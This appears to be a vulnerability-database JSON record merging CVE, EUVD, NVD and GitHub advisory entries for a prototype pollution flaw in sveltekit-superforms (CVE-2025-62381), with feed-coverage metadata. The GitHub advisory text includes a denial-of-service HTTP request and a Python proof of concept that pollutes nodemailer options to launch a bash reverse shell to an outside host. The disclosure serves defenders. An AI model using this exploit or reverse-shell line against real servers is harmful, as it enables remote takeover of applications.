{"id":"GHSA-hwmc-4c8j-xxj7","revision":null,"records":[{"revision":"d5ebbfa95be246deb1946371f74a8bc3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-62381","aliases":[],"title":"sveltekit-superforms Prototype Pollution in `parseFormData` function of `formData.js`","description":"sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.","state":0,"publishedAt":"2025-10-15T17:12:47.357+00:00","modifiedAt":"2025-10-15T19:50:48.901+00:00","affected":[{"ecosystem":"Vendor product","name":"sveltekit-superforms","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"ciscoheat\",\n                    \"product\": \"sveltekit-superforms\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.27.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L","score":8.3,"severity":"HIGH"}],"references":["https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7","https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-62381","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-62381","identifiers":["CVE-2025-62381"]},"retained":false,"historicalAffected":[]},{"revision":"7a7cf5453cba41d5b4b5e11551306963","observedAt":"2026-11-11T04:30:17.508+00:00","statement":{"source":"euvd","id":"EUVD-2025-34681","aliases":["CVE-2025-62381","GHSA-hwmc-4c8j-xxj7"],"title":"sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and …","description":"sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L","score":8.3,"severity":null}],"references":["https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7","https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-34681","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 15, 2025, 5:12:47 PM","dateUpdated":"Oct 15, 2025, 7:50:48 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-34681","identifiers":["EUVD-2025-34681","CVE-2025-62381","GHSA-hwmc-4c8j-xxj7"]},"retained":false,"historicalAffected":[]},{"revision":"273012a826a44cbb9d471acf627e610a","observedAt":"2026-10-25T03:17:29.935+00:00","statement":{"source":"nvd","id":"CVE-2025-62381","aliases":[],"title":"sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and …","description":"sveltekit-superforms makes SvelteKit forms a pleasure to use. sveltekit-superforms v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the parseFormData function of formData.js. An attacker can inject string and array properties into Object.prototype, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects. This vulnerability is fixed in 2.27.4.","state":0,"publishedAt":"2025-10-15T18:15:40.23+00:00","modifiedAt":"2026-10-08T11:10:00.25+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.3,"severity":"HIGH"}],"references":["https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4","https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-62381","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-1321"],"productCriteria":[],"sourceDates":{"published":"2025-10-15T18:15:40.230","lastModified":"2026-10-08T11:10:00.250"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-62381","identifiers":["CVE-2025-62381"]},"retained":false,"historicalAffected":[]},{"revision":"ce82afdb5a9341eb928188bd6a1e9375","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-hwmc-4c8j-xxj7","aliases":["CVE-2025-62381"],"title":"`sveltekit-superforms` has Prototype Pollution in `parseFormData` function of `formData.js`","description":"### Summary\n`sveltekit-superforms` v2.27.3 and prior are susceptible to a prototype pollution vulnerability within the `parseFormData` function of `formData.js`. An attacker can inject string and array properties into `Object.prototype`, leading to denial of service, type confusion, and potential remote code execution in downstream applications that rely on polluted objects.\n\n### Details\nSuperforms is a SvelteKit form library for server and client form validation. Under normal operation, form validation is performed by calling the the `superValidate` function, with the submitted form data and a form schema as arguments:\n```js\n// https://superforms.rocks/get-started#posting-data\nconst form = await superValidate(request, your_adapter(schema));\n ```\n Within the `superValidate` function, a call is made to `parseRequest` in order to parse the user's input. `parseRequest` then calls into `parseFormData`, which in turn looks for the presence of `__superform_json` in the form parameters. If `__superform_json` is present, the following snippet is executed:\n```js\n// src/lib/formData.ts\nif (formData.has('__superform_json')) {\n\ttry {\n\t\tconst transport =\n\t\t\toptions && options.transport\n\t\t\t\t? Object.fromEntries(Object.entries(options.transport).map(([k, v]) => [k, v.decode]))\n\t\t\t\t: undefined;\n\n\t\tconst output = parse(formData.getAll('__superform_json').join('') ?? '', transport);\n\t\tif (typeof output === 'object') {\n\t\t\t// Restore uploaded files and add to data\n\t\t\tconst filePaths = Array.from(formData.keys());\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_file_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(17));\n\t\t\t\tsetPaths(output, [realPath], formData.get(path));\n\t\t\t}\n\n\t\t\tfor (const path of filePaths.filter((path) => path.startsWith('__superform_files_'))) {\n\t\t\t\tconst realPath = splitPath(path.substring(18));\n\t\t\t\tconst allFiles = formData.getAll(path);\n\n\t\t\t\tsetPaths(output, [realPath], Array.from(allFiles));\n\t\t\t}\n\n\t\t\treturn output as Record<string, unknown>;\n\t\t}\n\t} catch {\n\t\t//\n\t}\n }\n```\nThis snippet deserializes JSON input within the `__superform_json`, and then performs a nested assignment into the deserialized object using values from form parameters beginning with `__superform_file_` and `__superform_files_`. Since both the target property and value of the assignment is controlled by user input, an attacker can use this to pollute the base object prototype. For example, the following request will pollute `Object.prototype.toString`, which leads to a persistent denial of service in many applications:\n```\nPOST /signup HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:143.0) Gecko/20100101 Firefox/143.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nReferer: http://example.com/signup\ncontent-type: application/x-www-form-urlencoded\nx-sveltekit-action: true\nContent-Length: 70\nOrigin: http://example.com\nConnection: keep-alive\nPriority: u=0\nPragma: no-cache\nCache-Control: no-cache\n\n__superform_json=[{}]&__superform_files___proto__.toString='corrupted'\n```\n### PoC\nThe following PoC demonstrates how this vulnerability can be escalated to remote code execution in the presence of suitable gadgets. The example app represents a typical application signup route, using the popular `nodemailer` library (5 million weekly downloads from npm).\n\n`routes/signup/schema.ts`:\n```js\nimport { z } from \"zod/v4\";\n\nexport const schema = z.object({\n    email: z\n        .email({\n            error: \"Please enter a valid email address.\",\n        })\n        .min(1, {\n            error: \"Email address is required.\",\n        }),\n    password: z.string().min(8, {\n        error: \"Password must be at least 8 characters long.\",\n    }),\n});\n```\n`routes/signup/+page.server.ts`:\n```js\nimport { zod4 } from \"sveltekit-superforms/adapters\";\nimport { fail, setError, superValidate } from \"sveltekit-superforms\";\nimport { schema } from \"./schema\";\nimport nodemailer from \"nodemailer\";\nimport {\n    MAIL_USER,\n    MAIL_CLIENT_ID,\n    MAIL_CLIENT_SECRET,\n    MAIL_REFRESH_TOKEN,\n} from \"$env/static/private\";\n\nexport const actions = {\n    default: async ({ request }) => {\n        const form = await superValidate(request, zod4(schema));\n\n        if (!form.valid) {\n            return fail(400, { form });\n        }\n\n        // <insert other signup code here: DB ops, logging etc..>\n\n        nodemailer\n            .createTransport({\n                service: \"gmail\",\n                auth: {\n                    type: \"OAuth2\",\n                    user: MAIL_USER,\n                    clientId: MAIL_CLIENT_ID,\n                    clientSecret: MAIL_CLIENT_SECRET,\n                    refreshToken: MAIL_REFRESH_TOKEN,\n                },\n            })\n            .sendMail({\n                to: form.data.email,\n                subject: \"Welcome to $app!\",\n                html: \"<p> Welcome to $app. We hope you enjoy your stay.</p>\",\n                text: \"Welcome to $app. We hope you enjoy your stay.\",\n            });\n    },\n};\n```\n\nThe following Python script then pollutes the base object prototype in order to achieve RCE.\n```python\n#!/usr/bin/env python3\n\nimport requests\n\nRHOST = \"http://localhost:4173\"\nsession = requests.Session()\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\n        \"__superform_json\": \"[{}]\",\n        \"__superform_file___proto__.sendmail\": \"1\",\n        \"__superform_file___proto__.path\": \"/bin/bash\",\n        \"__superform_files___proto__.args\": [\n            \"-c\",\n            \"bash -i >& /dev/tcp/dread.mantel.group/443 0>&1\",\n            \"--\",\n        ],\n    },\n    headers={\"Origin\": RHOST},\n)\n\nr = session.post(\n    f\"{RHOST}/signup\",\n    data={\"email\": \"me@example.com\", \"password\": \"usersignuppassword\"},\n    headers={\"Origin\": RHOST},\n)\n```\n<img width=\"747\" height=\"173\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7b097187-7110-409a-915d-94782c15f597\" />\n\nIn addition to `nodemailer`, the Language-Based Security group at KTH Royal Institute of Technology also compiles gadgets in many other [popular libraries and runtimes](https://github.com/KTH-LangSec/server-side-prototype-pollution), which can be used together with this vulnerability.\n\n### Impact\nAttackers can inject string and array properties into `Object.prototype`. This has a high probability of leading to denial of service and type confusion, with potential escalation to other impacts such as remote code execution, depending on the presence of reliable gadgets.","state":0,"publishedAt":"2025-10-15T19:43:09+00:00","modifiedAt":"2025-10-16T08:12:47.503138+00:00","affected":[{"ecosystem":"npm","name":"sveltekit-superforms","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.27.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:H/SC:L/SI:L/SA:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/ciscoheat/sveltekit-superforms/security/advisories/GHSA-hwmc-4c8j-xxj7","https://nvd.nist.gov/vuln/detail/CVE-2025-62381","https://github.com/ciscoheat/sveltekit-superforms/commit/4a1310dd1a94176bb22036662c530dad48059ca4","https://github.com/ciscoheat/sveltekit-superforms"],"sourceUrl":"https://github.com/advisories/GHSA-hwmc-4c8j-xxj7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hwmc-4c8j-xxj7","identifiers":["GHSA-hwmc-4c8j-xxj7","CVE-2025-62381"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:46.3036784+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:46.3038639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-f19af5e22c13aa688d23829fe96c281d0deaf6cf2f8cee6748f54f5a479127b2","complete":true,"records":424021,"lastAttemptAt":"2026-11-11T09:57:38.9264743+00:00","lastSuccessAt":"2026-11-11T09:25:54.5258746+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:38.9264743+00:00","snapshotPublishedAt":"2026-11-11T09:25:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f581ef223ba240a69a1abcff00ee4876","complete":true,"records":13758,"lastAttemptAt":"2026-11-11T09:58:42.1822037+00:00","lastSuccessAt":"2026-11-11T09:58:42.065+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:58:42.065+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:52.273871+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:52.273872+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-304fa97221904da4b3dcd306fc4b8a4b","complete":true,"records":13752,"lastAttemptAt":"2026-11-11T09:57:53.9573384+00:00","lastSuccessAt":"2026-11-11T09:26:01.454+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:26:01.454+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T09:57:42.4406155+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:42.4406155+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T09:57:39.9639043+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:39.9639043+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-2bc186fc4a8179fd66d765079d475b0b8e3af9f89b57dcc310e7773ded48b2cc","complete":true,"records":3088,"lastAttemptAt":"2026-11-11T09:57:43.196106+00:00","lastSuccessAt":"2026-11-11T09:25:59.9234294+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:43.196106+00:00","snapshotPublishedAt":"2026-11-11T09:02:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-085e065fc9050ae18408f7e722c39653aeb186872334d7b3ec1fcafb7ed43d25","complete":true,"records":231665,"lastAttemptAt":"2026-11-11T09:57:41.7897107+00:00","lastSuccessAt":"2026-11-11T08:27:45.2700102+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:41.7897107+00:00","snapshotPublishedAt":"2026-11-11T07:32:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}